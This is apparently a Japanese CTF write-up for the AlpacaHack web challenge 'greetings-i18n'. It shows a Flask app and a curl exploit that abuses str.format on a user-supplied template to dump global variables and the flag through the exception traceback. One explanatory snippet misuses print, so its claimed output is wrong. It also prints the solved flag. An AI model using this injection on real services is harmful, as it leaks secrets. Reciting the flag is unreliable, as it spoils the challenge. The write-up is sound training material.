ひとこと
むっず
問題
情報
ジャンル: Web
難易度: Hard (6.5)
問題URL: https://alpacahack.com/daily/challenges/greetings-i18n?month=2026-07
ここで問題の紹介をしていきます。
まだ2言語しかありません
初心者向けヒント
- テンプレート文字列がユーザー入力由来の場合、
str.formatは一般に危険とされています。これをどのように悪用できるでしょうか? - Python オブジェクトで利用できる属性を知りたい場合は、ローカルでコードを実行して
print(dir(obj))を使うと確認できます。
コード
from flask import Flask, request
app = Flask(__name__)
FLAG = "Alpaca{REDACTED}"
translations = {
"hello": {
"en": "Hello, {username}!",
"ja": "こんにちは、{username}さん!"
},
"error": {
"en": "An error has occurred: {err}",
"ja": "エラーが発生しました: {err}",
}
}
def parse_accept_language() -> str:
header = request.headers.get("Accept-Language")
if not header:
return "en"
first = header.split(",")[0]
lang = first.split(";")[0].strip().split("-")[0].strip()
return lang or "en"
# Translation function
def _(key: str):
custom = request.form.get(f"custom-{key}")
if custom:
return custom
lang = parse_accept_language()
return translations.get(key).get(lang, key)
@app.get("/")
def index():
try:
username = request.args.get("username", "anonymous user")
return _("hello").format(username=username), 200, {'Content-Type': 'text/plain;charset=utf-8'}
except Exception as e:
return _("error").format(err=e), 500, {'Content-Type': 'text/plain;charset=utf-8'}
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
str.formatとその性質
{}の中にあるものを置き換えるメソッドです。例を見てみましょう。
print("Hello, {username}!".format(username="Exploder.exe"))
これは、usernameがExploder.exeに置き換えられ、
Hello, Exploder.exe!
となります。
これの面白い性質として、クラス(オブジェクト?)のプロパティも見れるということがあげられます。
class Person:
def __init__(self, name):
self.name = name
# Create a person object
person = Person("Exploder.exe")
print("Hello, {person.name}!", person)
出力はHello, Exploder.exeとなります。
仕込める情報を見る
コードを見る限り、ヘッダーのAccept-Language、フォームのcustom-{???}、クエリパラメータのusernameに入力を与えることができそうです。
custom-key....?
def _(key: str):
custom = request.form.get(f"custom-{key}")
if custom:
return custom
lang = parse_accept_language()
return translations.get(key).get(lang, key)
@app.get("/")
def index():
try:
username = request.args.get("username", "anonymous user")
return _("hello").format(username=username), 200, {'Content-Type': 'text/plain;charset=utf-8'}
except Exception as e:
return _("error").format(err=e), 500, {'Content-Type': 'text/plain;charset=utf-8'}
custom-helloに何か入れれば、そっちが返ってきそうですね...。試しに
curl -X GET -d "custom-hello=Bonjour {username}" "http://34.170.146.252:28958/?username=test"
を送ってみると、Bonjour testが返ってきました。
ところでstr.formatの脆弱性って?
str.format() method can evaluate expressions within the format string, allowing access to variables and object details. This means a user can manipulate the input to access sensitive data, like the dictionary. This creates a security risk because attackers could retrieve information they should not have access to.CONFIG
str.format() メソッドは format 文字列内の式を評価することができ、変数やオブジェクトの詳細へのアクセスを可能にします。つまり、ユーザーは入力を操作して辞書のような機密データにアクセスすることができます 。これにより、攻撃者がアクセスすべきでない情報を取得する可能性があるため、セキュリティリスクが生じます。
つまり、なんか不正な値をぶち込めば、グローバルにあるものを取れそうな予感がします。
Exceptionに秘められた力
Exceptionにはスタックフレームの情報があるので、そこからグローバル変数を出せる気がします。
ということでエラーを出すことにしました。
formatには該当の値が無いと置換できずにエラーが出るという性質があります。
print("{sentence}", username="Explode.exe")
これは{sentence}に該当するものがないのでエラーが飛びます。
エラー文をいじって終わり
custom-errorをcustom-error=Une erreur s'est produite {err.__traceback__.tb_frame.f_globals}のように、Tracekbackからスタックフレームを取って、グローバル変数を出せれば、チェックメイトです。
実行コード
curl -X GET \
-d "custom-hello=Bonjour {alpha}" \
-d "custom-error=Une erreur s'est produite {err.__traceback__.tb_frame.f_globals}" \
"http://34.170.146.252:28958/?username=nothing_is_worth_the_risk" \
Une erreur s'est produite {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fd9ea111e00>, '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/app/app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://34.170.146.252:28958/?username=nothing_is_worth_the_risk' [GET]>, 'app': <Flask 'app'>, 'FLAG': 'Alpaca{i18n_stands_for_internationalization}', 'translations': {'hello': {'en': 'Hello, {username}!', 'ja': 'こんにちは、{username}さん!'}, 'error': {'en': 'An error has occurred: {err}', 'ja': 'エラーが発生しました: {err}'}}, 'parse_accept_language': <function parse_accept_language at 0x7fd9e8667320>, '_': <function _ at 0x7fd9e8667480>, 'index': <function index at 0x7fd9e8667690>}
レスポンスにFLAGが現れます。